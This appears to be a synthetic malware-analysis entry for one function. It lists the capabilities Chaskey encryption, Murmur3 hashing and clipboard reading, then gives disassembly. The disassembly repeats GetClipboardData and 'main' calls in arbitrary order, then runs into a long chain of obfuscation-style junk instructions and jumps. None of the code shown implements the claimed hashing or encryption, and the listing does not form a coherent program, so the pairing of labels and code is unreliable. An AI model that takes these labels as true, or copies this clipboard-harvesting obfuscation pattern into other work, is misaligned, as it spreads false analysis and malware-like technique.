Function at 0x401000
Capabilities:
Encrypt data using chaskey
Hash data using murmur3
Read clipboard data

Disassembly:
call sub.kernel32.dll_GetProcessHeap
cmp eax, 0xfffffeda
jne 0x40107f
call sub.user32.dll_GetClipboardData
call main
call main
call sub.user32.dll_GetClipboardData
call sub.user32.dll_GetClipboardData
call main
call main
call sub.user32.dll_GetClipboardData
call sub.user32.dll_GetClipboardData
call main
call sub.user32.dll_GetClipboardData
call main
call sub.user32.dll_GetClipboardData
call sub.user32.dll_GetClipboardData
call main
call sub.user32.dll_GetClipboardData
call sub.user32.dll_GetClipboardData
call main
call main
call sub.user32.dll_GetClipboardData
call sub.user32.dll_GetClipboardData
call sub.user32.dll_GetClipboardData
ret
call sub.kernel32.dll_GetLastError
cmp eax, 0xfffffed8
jne 0x4010ea
call sub.user32.dll_GetClipboardData
call sub.user32.dll_GetClipboardData
call main
call sub.user32.dll_GetClipboardData
call sub.user32.dll_GetClipboardData
call main
call main
call main
call main
call main
call main
call main
call main
call sub.user32.dll_GetClipboardData
call main
call sub.user32.dll_GetClipboardData
call sub.user32.dll_GetClipboardData
call sub.user32.dll_GetClipboardData
ret
call sub.user32.dll_GetClipboardOwner
cmp eax, 0xfffffefe
jne 0x40115f
call sub.user32.dll_GetClipboardData
call sub.user32.dll_GetClipboardData
call main
call main
call main
call sub.user32.dll_GetClipboardData
call main
call main
call main
call main
call main
call main
call sub.user32.dll_GetClipboardData
call sub.user32.dll_GetClipboardData
call sub.user32.dll_GetClipboardData
call main
call sub.user32.dll_GetClipboardData
call sub.user32.dll_GetClipboardData
call main
call sub.user32.dll_GetClipboardData
ret
call sub.kernel32.dll_GetProcessHeap
cmp eax, 0xfffffeee
jne 0x4011ca
call main
call main
call main
call sub.user32.dll_GetClipboardData
call main
call sub.user32.dll_GetClipboardData
call sub.user32.dll_GetClipboardData
call sub.user32.dll_GetClipboardData
call sub.user32.dll_GetClipboardData
call main
call main
call main
call sub.user32.dll_GetClipboardData
call main
call main
call sub.user32.dll_GetClipboardData
call sub.user32.dll_GetClipboardData
call sub.user32.dll_GetClipboardData
ret
call sub.user32.dll_GetClipboardOwner
cmp eax, 0xfffffeea
jne 0x40123f
call sub.user32.dll_GetClipboardData
call sub.user32.dll_GetClipboardData
call main
call main
call main
call sub.user32.dll_GetClipboardData
call sub.user32.dll_GetClipboardData
call main
call sub.user32.dll_GetClipboardData
call sub.user32.dll_GetClipboardData
call sub.user32.dll_GetClipboardData
call main
call main
call main
call main
call sub.user32.dll_GetClipboardData
call main
call main
call sub.user32.dll_GetClipboardData
call sub.user32.dll_GetClipboardData
ret
jmp 0x526b53
add edi, esi
sub esi, ecx
sub ecx, edx
jmp 0x5270b8
push esp
sub edx, ebx
add ebx, edi
shl edx, 0x1a
add esi, edx
jmp 0x528040
push 0x418ff570
sub edi, 0x4354fa80
bswap edx
or edi, esi
inc edi
mov ebx, 0x4355fb8a
sub edi, 0x43564cbc
xor esi, 0x43568c2c
or ebx, edx
jmp 0x52766f
pop ecx
mov edi, esi
xor edx, esi
xchg ebx, edi
and esi, 0x435a94b6
inc edx
inc ebx
jmp 0x527dc9
mov ecx, 0x3f4d7907
shl edi, 0xf
inc edx
xchg esi, edx
dec edx
sub edi, esi
dec edx
jmp 0x529358
call ecx
or edi, edx
sub ebx, esi
xor edi, ebx
or ebx, esi
xchg esi, edx
add edi, edx
jmp 0x527352
pop ecx
and edx, ebx
or ebx, 0x4370e6b4
mov ebx, esi
ror edx, 0x1f
or edx, esi
xchg edi, edx
add edi, esi
sub edx, 0x4372708a
and edi, esi
or esi, edi
ror edx, 5
or ebx, 0x43736d9e
add edx, esi
inc edi
jmp 0x5272a7
push 0x41810fee
sub esi, ebx
mov edi, ebx
ror esi, 6
dec ebx
xor edx, ebx
xor ebx, edx
jmp 0x528c85
call fcn.00529639
xchg esi, ebx
or esi, ebx
xor edi, 0x437a4182
add ebx, edi
dec edi
or edx, 0x437b0f6a
xor esi, 0x437b51b2
xor esi, edi
or ebx, edi
and edi, 0x437c0fce
and ebx, edi
shl ebx, 0x12
jmp 0x52808d
call ecx
add ebx, esi
add ebx, edi
not ebx
neg esi
jmp 0x528e0d
push 0x41838fb8
sub ebx, esi
xchg edi, ebx
and edx, 0x438457cc
inc edi
or edx, edi
add edi, 0x43851962
jmp 0x5271d6
push 0x4179dece
shl edx, 2
and edx, esi
sub ebx, edx
mov ebx, esi
and edi, esi
or edi, esi
shr esi, 8
ror ebx, 0x12
add edx, esi
mov edx, ebx
jmp 0x527176
call fcn.00529639
and ebx, edx
add ebx, edi
and esi, edx
xchg esi, ebx
or edx, 0x439699d6
add edi, 0x4396d5c0
mov edi, 0x439711c2
xchg ebx, edx
mov esi, 0x43978770
ror ebx, 0x11
jmp 0x5290ca
pop ecx
shr edx, 0xf
and esi, edx
mov ebx, 0x4399a0ce
shl edx, 0xf
xor ebx, esi
mov edx, ebx
add esi, edx
and esi, 0x439ad556
jmp 0x5294c8
mov ecx, 0x3f4d7907
add ebx, edx
and ebx, edi
shr edx, 0x17
add esi, ebx
sub esi, edx
xchg edx, edi
jmp 0x52881a
push 0x401400
mov ebx, edx
xchg edi, esi
inc ebx
xchg esi, edx
xor ebx, 0x43a7ff3a
mov edi, esi
bswap edx
add ebx, edi
and esi, 0x43a8fb10
add ebx, 0x43a937f4
jmp 0x52764d
pop ecx
xchg edx, ebx
rol ebx, 4
inc edi
xor esi, 0x43aebe52
shl edx, 0xc
add esi, edi
xor edi, edx
or esi, edi
jmp 0x528fb6
pop ecx
xchg esi, edi
shr edx, 0x15
add esi, edi
xchg edi, ebx
rol ebx, 8
or edx, ebx
and esi, edx
mov esi, ebx
xchg esi, edx
and edx, ebx
jmp 0x527b9e
push 0x41715eaa
sub edi, 0x43b26adc
dec edi
or ebx, esi
or edi, edx
jmp 0x527281
push 0x417a2464
not edi
sub edx, edi
nop
sub edi, ebx
xchg edi, edx
or edi, esi
xchg esi, edi
mov edi, edx
jmp 0x5278b6
mov ecx, 0x3f4d7907
neg ebx
sub edx, esi
dec ebx
shl edi, 0xa
add edx, 0x43c6c7ac
xor edx, edi
jmp 0x527f7e
mov ecx, 0x3f4d7907
shr esi, 0x14
xor esi, edx
xor edx, edi
mov edx, edi
mov edi, ebx
inc esi
add edx, 0x43cff1ce
or edi, 0x43d02d12
or ebx, edx
add edi, edx
jmp 0x527821
push 0x4172dd56
inc esi
or ebx, edi
mov esi, 0x43d16a54
and edi, 0x43d1a640
neg edx
xchg esi, edi
xor esi, ebx
and esi, 0x43d2a512
add edi, 0x43d2e070
shl ebx, 7
shr edx, 0x1a
shr ebx, 9
jmp 0x529597
pop ecx
sub edx, edi
sub edx, edi
sub edi, ebx
xor esi, 0x43debdb6
or esi, ebx
not edi
bswap ebx
nop
or ebx, edx
sub esi, 0x43e03c30
jmp 0x52709c
call fcn.00529639
xchg edi, esi
shl esi, 0x13
neg esi
and edx, 0x43e15720
not edi
xor edi, ebx
sub esi, 0x43e21764
sub edi, ebx
inc ebx
or ebx, esi
mov ebx, 0x43e32572
xchg edi, edx
jmp 0x52806e
push 0x41808128
not esi
xchg esi, ebx
add edx, edi
ror edi, 0x11
sub edx, esi
xor esi, 0x43eeebe8
ror edx, 0xe
mov esi, edi
jmp 0x52772d
pop ecx
xor edi, 0x43f960b2
not edi
shr ebx, 8
inc esi
xor esi, edi
or ebx, esi
xchg edx, edi
xor esi, edi
jmp 0x527081
push 0x417ca1bc
bswap esi
add edi, ebx
sub esi, edi
and esi, edi
add ebx, 0x4403a976
or esi, edx
rol edx, 0x16
dec esi
xor ebx, edi
and edi, ebx
jmp 0x5295d6
push 0x41934232
mov ebx, 0x440cacd6
add ebx, edi
shr esi, 0x1d
or edi, edx
or esi, 0x440d98d6
shr ebx, 7
or edi, 0x440e205a
bswap edi
jmp 0x5288aa
call ecx
and ebx, esi
dec edx
add esi, edx
bswap edx
and edx, 0x4414579a
mov edx, ebx
and esi, 0x4414dbc8
and esi, 0x441517c2
jmp 0x529397
push 0x419042e4
neg edx
shr esi, 0x1f
mov esi, edi
xor ebx, edi
or esi, 0x4416697e
neg esi
and esi, 0x4416e394
and ebx, 0x44171f98
jmp 0x528e41
call fcn.00529639
dec edx
and edx, ebx
xor esi, ebx
mov edi, edx
xor esi, 0x441a6998
or ebx, edi
neg edi
rol edx, 0xe
or esi, ebx
xor ebx, edx
jmp 0x527c7c
push 0x4180c832
neg edi
shl edi, 0xb
not esi
mov esi, edx
add edx, 0x4423e216
and edi, esi
jmp 0x526da4
pop ecx
or esi, edx
ror edx, 0x13
not esi
add ebx, edx
sub ebx, esi
xchg edi, edx
rol edx, 5
sub ebx, 0x4429bf2a
jmp 0x527975
pop ecx
and edx, esi
ror edi, 8
sub esi, edx
dec edx
shr edi, 0x1a
xchg edx, esi
jmp 0x528a24
push 0x417d75b6
or esi, edi
not esi
or edx, edi
sub edx, ebx
or ebx, edi
add esi, ebx
and edx, ebx
rol edi, 0x1e
and edx, edi
or esi, edi
jmp 0x5282b2
call fcn.00529639
mov ebx, edx
and edi, edx
mov esi, 0x44349da6
shl edi, 0x1e
or esi, ebx
sub ebx, 0x44355fd8
rol ebx, 0x1c
sub edx, edi
jmp 0x528a54
push 0x41737200
xchg ebx, edx
xor esi, 0x443a7270
bswap ebx
xor ebx, edx
add ebx, edi
sub edi, 0x443bd9ce
shl edx, 0x1e
add ebx, 0x443c6d2c
xor esi, edi
add ebx, 0x443ced30
xor edx, 0x443d2ed2
sub esi, edx
jmp 0x529139
push 0x4176a994
sub edi, ebx
and esi, ebx
jmp 0x528289
mov ecx, 0x3f4d7907
and ebx, esi
rol ebx, 6
rol edi, 0x14
and edi, edx
xchg ebx, edx
mov edi, esi
nop
xor edi, esi
jmp 0x526f5e
push 0x418a4250
mov edi, 0x44444874
and ebx, 0x444489a6
inc edx
add edx, esi
sub edx, 0x444558a4
and edi, ebx
jmp 0x528011
push 0x41853a6a
inc edx
xor esi, 0x444b7ed6
add ebx, 0x444bbe16
ror ebx, 0x12
sub edx, ebx
add esi, edx
mov ebx, 0x444cbc92
mov edx, 0x444d0c7a
sub ebx, 0x444d4dfa
not edx
shl esi, 1
shl esi, 0x1e
add esi, 0x444e4f24
add ebx, edx
jmp 0x5289d5
pop ecx
xchg esi, ebx
xor edx, ebx
xor edi, 0x44689b58
mov edi, edx
or edi, 0x446919c0
not ebx
shl edi, 0x10
or ebx, edx
xor edi, esi
add edi, esi
jmp 0x527796
push 0x4189fbfc
and edx, esi
sub edx, ebx
and esi, edi
xchg esi, edx
add ebx, 0x446e5f40
dec edx
xor edi, edx
bswap esi
xchg ebx, esi
mov ebx, 0x446fb1dc
jmp 0x52790c
pop ecx
mov edi, esi
sub edi, edx
and esi, edi
mov edi, esi
not ebx
shl edi, 0x1a
xchg edi, ebx
or ebx, edi
jmp 0x527c50
call ecx
not edx
xor esi, ebx
not edi
neg esi
rol edi, 9
rol edi, 9
shr esi, 0x11
xchg edi, esi
bswap esi
xchg edx, ebx
sub edx, esi
sub esi, 0x4479d9a2
jmp 0x528f42
pop ecx
and edx, esi
and edi, 0x447eab5c
ror edx, 0x19
or edx, 0x447f3d58
nop
inc edx
jmp 0x528fc5
pop ecx
mov edx, esi
xchg edx, esi
neg edx
shr ebx, 9
sub ebx, esi
sub edi, esi
jmp 0x528828
push esp
or esi, 0x4481cc84
rol edx, 0xc
and esi, 0x44825e82
xor esi, edi
or edi, 0x4482dd32
xor esi, 0x44831d6a
jmp 0x526b7e
push 0x125753
mov edi, esi
mov edx, esi
xor edx, edi
or edi, ebx
inc edx
mov esi, 0x4484b5a2
xor edx, ebx
sub edx, 0x44854464
add edi, esi
xchg edi, edx
and edx, edi
add esi, edi
jmp 0x527013
mov ecx, 0x3f4d7907
xchg ebx, edi
mov edi, edx
shr ebx, 5
xchg edi, edx
mov edx, 0x448ead58
xor ebx, edx
jmp 0x529172
mov ecx, 0x3f4d7907
and edi, 0x448f5d5a
sub edi, 0x448f9e04
add esi, edi
shl esi, 3
sub ebx, esi
sub ebx, 0x4490ab00
jmp 0x526dba
pop ecx
shl ebx, 0x12
xor ebx, edi
add esi, ebx
xor esi, edx
mov edx, esi
xchg esi, edi
and esi, 0x4497988c
not edx
jmp 0x52864e
push 0x418348b8
add edx, 0x449837b8
shl edx, 3
ror edi, 0x1a
sub edx, esi
mov edx, edi
nop
mov edx, ebx
and edx, 0x449a04d6
shl esi, 0xb
add edx, edi
add edx, ebx
shl ebx, 6
jmp 0x526e55
push 0x4192f570
and edx, 0x449b61ea
xor edi, ebx
inc edx
add esi, edx
jmp 0x5275cc
pop ecx
sub ebx, edi
bswap edi
add edi, ebx
mov edi, ebx
jmp 0x527533
pop ecx
shr edi, 0x14
or esi, ebx
bswap edi
sub edx, ebx
bswap edi
mov edx, esi
mov esi, edx
rol edi, 0xd
ror esi, 3
and edi, 0x44a32de8
jmp 0x5274ba
call fcn.00529639
xor edi, ebx
or ebx, 0x44b7163a
bswap edx
sub edx, ebx
xchg edi, edx
add ebx, esi
mov edi, 0x44b86346
add ebx, 0x44b8a336
bswap esi
xor ebx, edi
and esi, 0x44b96306
add ebx, 0x44b9a342
jmp 0x527bfc
mov ecx, 0x3f4d7907
xor edi, 0x44bf8f02
nop
and edi, edx
add esi, edx
add edi, ebx
add edi, edx
not edi
or esi, edi
jmp 0x528fe5
push 0x40
and edx, ebx
nop
neg esi
mov esi, ebx
xchg esi, edi
xor edi, 0x44c41ca4
shl edx, 2
xor esi, ebx
sub edi, ebx
not edi
xor esi, 0x44c56be8
sub edi, esi
add esi, ebx
not edi
jmp 0x527c9f
call ecx
inc esi
shr edx, 3
neg edx
or esi, 0x44c7547e
xor edi, edx
xor edx, edi
not ebx
xor edx, 0x44c85452
jmp 0x528615
call ecx
or edx, esi
ror edx, 8
mov esi, 0x44c93222
xchg esi, ebx
ror esi, 1
or ebx, edx
add edx, 0x44ca3196
bswap edi
dec esi
add edx, edi
sub ebx, esi
sub ebx, esi
jmp 0x52870e
push 0x418fa9d4
or edi, edx
ror edi, 2
and esi, edi
add edi, edx
add ebx, edx
xchg esi, edi
mov ebx, edi
shr esi, 0xa
jmp 0x526b97
push 0x4186e87a
neg edx
xchg ebx, edx
or edx, ebx
not ebx
xchg esi, ebx
rol esi, 1
add edi, ebx
mov edx, edi
not edx
sub edi, edx
bswap esi
mov ebx, edi
jmp 0x5291c6
push 0x417d2e24
add edx, esi
neg edx
or edx, edi
and esi, ebx
add edi, ebx
and edi, esi
xchg edi, esi
xor esi, edx
mov edx, edi
xor ebx, edi
jmp 0x527802
pop ecx
add edx, esi
add ebx, esi
and edi, edx
sub esi, edx
sub edx, edi
rol ebx, 7
jmp 0x5284ff
call ecx
neg edx
dec esi
xor edx, ebx
shl esi, 5
dec ebx
not ebx
dec edi
shr esi, 0x19
mov edi, ebx
sub esi, edi
xor ebx, esi
and edx, 0x44e9271e
or esi, edx
not ebx
jmp 0x526faa
mov ecx, 0x3f4d7907
or ebx, edi
xor edx, edi
sub esi, edi
rol edi, 0x1c
or esi, ebx
add esi, ebx
jmp 0x527373
push 0x417dbbf6
and esi, edi
or esi, 0x44f16760
mov ebx, edi
or edx, ebx
xchg edi, esi
xor esi, ebx
add edi, 0x44f2b14a
add edx, esi
xchg ebx, edx
mov edi, esi
jmp 0x526c4b
mov ecx, 0x3f4d7907
sub edx, 0x44f3c73a
mov edx, ebx
mov ebx, edi
or ebx, esi
inc ebx
sub esi, 0x44f4ff6c
xor edx, esi
dec edx
jmp 0x5293f4
pop ecx
and ebx, edi
or ebx, edx
sub edi, ebx
add ebx, edx
add esi, edx
mov edx, 0x45136aa4
xchg esi, edi
shr edi, 0x1a
sub edi, 0x45143b66
sub edi, 0x45147cc4
jmp 0x527e11
push 0x4195f6fc
mov edx, edi
rol edx, 0x10
sub edx, esi
and edi, ebx
neg ebx
xchg edi, edx
jmp fcn.005282a0
call ecx
add edi, ebx
xor edi, esi
add ebx, edi
inc ebx
ror esi, 0xd
xor edi, edx
jmp 0x52954c
push 0x41896c5e
xor ebx, 0x451bfb4a
xchg edx, edi
or esi, 0x451cd3fc
add esi, edx
sub edi, esi
xchg edx, esi
xor edx, ebx
add edx, 0x451e771c
add esi, 0x451eb72a
and edx, 0x451ef73e
jmp 0x5287a1
pop ecx
xor ebx, esi
inc edi
xchg ebx, esi
bswap edi
neg ebx
sub esi, 0x452917ae
sub ebx, edx
xchg esi, ebx
jmp 0x528905
pop ecx
xor edx, ebx
neg edi
jmp 0x526be2
push 0x41790b6a
xchg esi, edx
inc edx
or ebx, edi
add edx, 0x45334f86
jmp 0x52867e
pop ecx
or esi, edi
add edx, 0x4533fab6
shr ebx, 7
sub edx, esi
and ebx, 0x4534b994
bswap edi
jmp 0x529203
push 0x417952e2
mov ebx, esi
mov ebx, edx
or edx, 0x4535cb6a
add esi, edx
neg ebx
or edx, esi
shl edi, 0x16
and edi, edx
rol edi, 7
add edx, esi
or edx, 0x4537d47e
sub edx, ebx
jmp 0x52886d
pop ecx
and edx, ebx
sub esi, edi
or edx, ebx
dec ebx
xchg ebx, edx
inc edx
jmp 0x52907e
pop ecx
mov ebx, edi
mov edx, ebx
and edi, edx
dec ebx
sub edx, ebx
or edx, 0x45413186
or edx, edi
and ebx, 0x4541af9e
ror edx, 0x17
xor edx, esi
jmp 0x5285a8
push 0x4189b4da
and ebx, edi
add esi, ebx
shl edx, 2
sub ebx, esi
jmp 0x527b7a
call fcn.00529639
xor edi, ebx
neg esi
jmp 0x529334
pop ecx
xor esi, 0x455305ee
mov edx, ebx
neg esi
or esi, ebx
ror edx, 1
mov esi, edx
or edi, edx
shr esi, 0x13
jmp 0x528e5e
push 0x4179982a
mov edi, ebx
xchg edx, edi
add esi, edi
mov esi, 0x45593b46
xor edx, ebx
and esi, edi
mov edi, 0x4559f80c
or esi, edi
dec edi
xchg edx, edi
ror ebx, 0x1f
ror ebx, 0x18
jmp 0x526e72
call ecx
sub esi, edi
or edx, edi
shr ebx, 8
not ebx
and edi, ebx
or edi, edx
jmp 0x5294b3
push 0x41938fea
shr esi, 0x1f
not ebx
shr edi, 8
xor edi, esi
ror esi, 6
shr edi, 0x16
neg ebx
shr edi, 0xe
or edi, edx
ror edi, 3
and ebx, 0x455fe0ce
add edx, 0x45602120
shr esi, 0x1d
xor ebx, edi
jmp 0x526ffc
pop ecx
and esi, 0x45642cbe
not esi
xor ebx, 0x4564ad54
mov edx, edi
mov esi, edx
xchg ebx, esi
jmp 0x528487
mov ecx, 0x4132136a
shr edx, 0x13
mov esi, edi
mov esi, edx
bswap edx
xchg ebx, edx
not esi
jmp 0x5276b0
push 0x4186a1b0
mov edx, ebx
ror edx, 0xd
sub esi, ebx
xor esi, edi
add edi, 0x45749dc8
inc ebx
xor ebx, edx
mov edx, ebx
jmp 0x528122
pop ecx
mov esi, ebx
and edx, ebx
neg esi
inc edi
jmp 0x5281cd
push 0x41803a14
add ebx, edx
bswap esi
rol ebx, 0x1c
or edx, edi
add ebx, esi
xchg edx, edi
not edi
add edx, ebx
or ebx, edi
xor esi, 0x457bf76a
jmp 0x527413
call ecx
and edi, esi
sub edx, ebx
jmp 0x526d3a
pop ecx
and edx, ebx
inc edi
or esi, 0x458b16fe
mov esi, ebx
xor edx, ebx
xchg edx, ebx
rol edi, 0x11
and esi, ebx
xor edx, ebx
shr ebx, 0x1c
jmp 0x527de4
mov ecx, 0x3f4d7907
or esi, ebx
shr ebx, 4
sub edi, edx
or edi, esi
or edi, ebx
xchg esi, ebx
mov edx, esi
or edi, edx
jmp 0x528dac
pop ecx
mov edi, ebx
and esi, edi
or esi, edi
or edi, ebx
xor edi, 0x45b43742
add edi, ebx
jmp 0x528a17
call fcn.00529639
nop
or ebx, esi
jmp 0x52821f
pop ecx
not esi
or ebx, edx
or esi, 0x45bf1efe
and edx, edi
sub esi, edx
mov edx, ebx
rol esi, 0x1a
add esi, ebx
jmp 0x5286cc
push 0x41908fbe
sub edx, esi
mov esi, edi
add edx, ebx
mov edx, ebx
sub ebx, edi
or ebx, esi
not esi
or ebx, esi
xor ebx, edi
inc edx
jmp 0x527d4d
push 0x4195a90e
xchg ebx, esi
xor ebx, esi
jmp 0x5284ad
pop ecx
ror ebx, 4
xor esi, edx
jmp 0x52777a
pop ecx
sub esi, edi
mov esi, edi
shr ebx, 0x1c
add edx, esi
jmp 0x527e55
push 0x41761300
and ebx, edx
mov esi, ebx
inc esi
neg esi
xchg edi, esi
and edi, edx
or edi, ebx
dec edi
xchg esi, ebx
add edx, esi
shr esi, 0xa
inc ebx
jmp 0x529450
call fcn.00529639
add ebx, 0x45df1370
sub edi, edx
add edx, 0x45df8a28
dec edi
mov edi, ebx
not esi
mov edi, ebx
add esi, 0x45e0c06a
jmp 0x526e46
pop ecx
mov edi, ebx
and ebx, esi
not esi
or edx, edi
jmp 0x5290dc
call ecx
or edi, edx
xchg edi, ebx
mov esi, 0x45edde7c
xor ebx, edi
jmp 0x527e63
pop ecx
mov ebx, edx
sub ebx, edx
or ebx, 0x45efa524
shl edi, 8
and ebx, edi
or ebx, edx
jmp 0x5289a4
push 0x4173bc08
xor ebx, edx
xchg edi, esi
add edi, ebx
neg ebx
bswap edx
add edi, ebx
and edx, ebx
add edi, esi
not esi
and esi, edx
jmp 0x527d33
call fcn.00529639
sub ebx, edx
and ebx, edx
not ebx
add edx, ebx
shl ebx, 0x14
add ebx, 0x45fb33a2
xor edi, ebx
add edi, 0x45fbc15e
jmp 0x526cd6
push 0x4187306e
xor esi, 0x45ff9b62
mov edi, edx
or ebx, esi
dec edi
and edi, edx
mov edx, ebx
jmp 0x5282d8
pop ecx
ror edx, 6
and ebx, esi
dec edi
mov ebx, edi
add ebx, esi
sub esi, 0x460521e8
inc edx
shl ebx, 0x14
jmp 0x527b37
pop ecx
xor esi, edi
or ebx, edi
add edx, edi
add ebx, 0x4616cab8
mov edx, 0x46170a94
or ebx, esi
and ebx, edx
add esi, edi
inc edx
add edx, esi
bswap edi
neg esi
jmp 0x527c69
call ecx
or edx, edi
xchg edx, edi
or edi, edx
or ebx, esi
and ebx, edi
add ebx, 0x461c1e24
sub ebx, edx
shr ebx, 0x1e
xchg esi, edx
xor esi, 0x461d1dd4
jmp 0x5292f7
call fcn.00529639
or ebx, edx
xchg ebx, edx
rol ebx, 0xb
and ebx, esi
or edx, ebx
or esi, 0x461eafe4
ror edi, 0x15
add esi, edi
and esi, edi
mov edx, ebx
jmp 0x528896
pop ecx
add ebx, edx
add ebx, 0x4622015a
and esi, ebx
neg esi
shl edi, 0xa
sub edi, ebx
xchg esi, edx
and edx, 0x46238950
jmp 0x5280c2
pop ecx
sub esi, edi
xchg esi, edx
sub edi, 0x462477a4
xchg edx, esi
or edi, 0x4624f93e
mov ebx, edi
sub edx, ebx
sub edi, 0x4625b5e6
jmp 0x528b1c
call fcn.00529639
mov edi, esi
xor ebx, edi
mov edx, 0x4628b4c8
or esi, ebx
jmp 0x5284ec
push 0x41765ef6
and esi, ebx
not ebx
mov edx, 0x462e9acc
and ebx, edx
sub edi, edx
mov edx, edi
ror edi, 0xc
shr edi, 0xa
not edi
sub edx, esi
jmp 0x5278a8
pop ecx
and ebx, 0x4634ff64
xor edi, esi
inc edi
and edx, esi
mov esi, edi
xchg ebx, edx
jmp 0x528663
pop ecx
xor edx, ebx
sub edx, ebx
jmp 0x5293b6
pop ecx
neg esi
shr edx, 0xd
or esi, 0x463fb1fe
or edi, esi
xor edi, 0x46403704
bswap edx
add ebx, edx
and ebx, 0x4640e90a
sub edx, esi
shl edi, 0x1c
jmp 0x528d60
push 0x417328fe
add edx, edi
mov esi, edi
add esi, ebx
and edi, esi
jmp 0x527871
push 0x417ce768
sub edx, esi
and edx, edi
and edx, ebx
inc edi
xor edx, edi
sub edi, esi
xor esi, ebx
sub edx, 0x4649f690
jmp 0x528187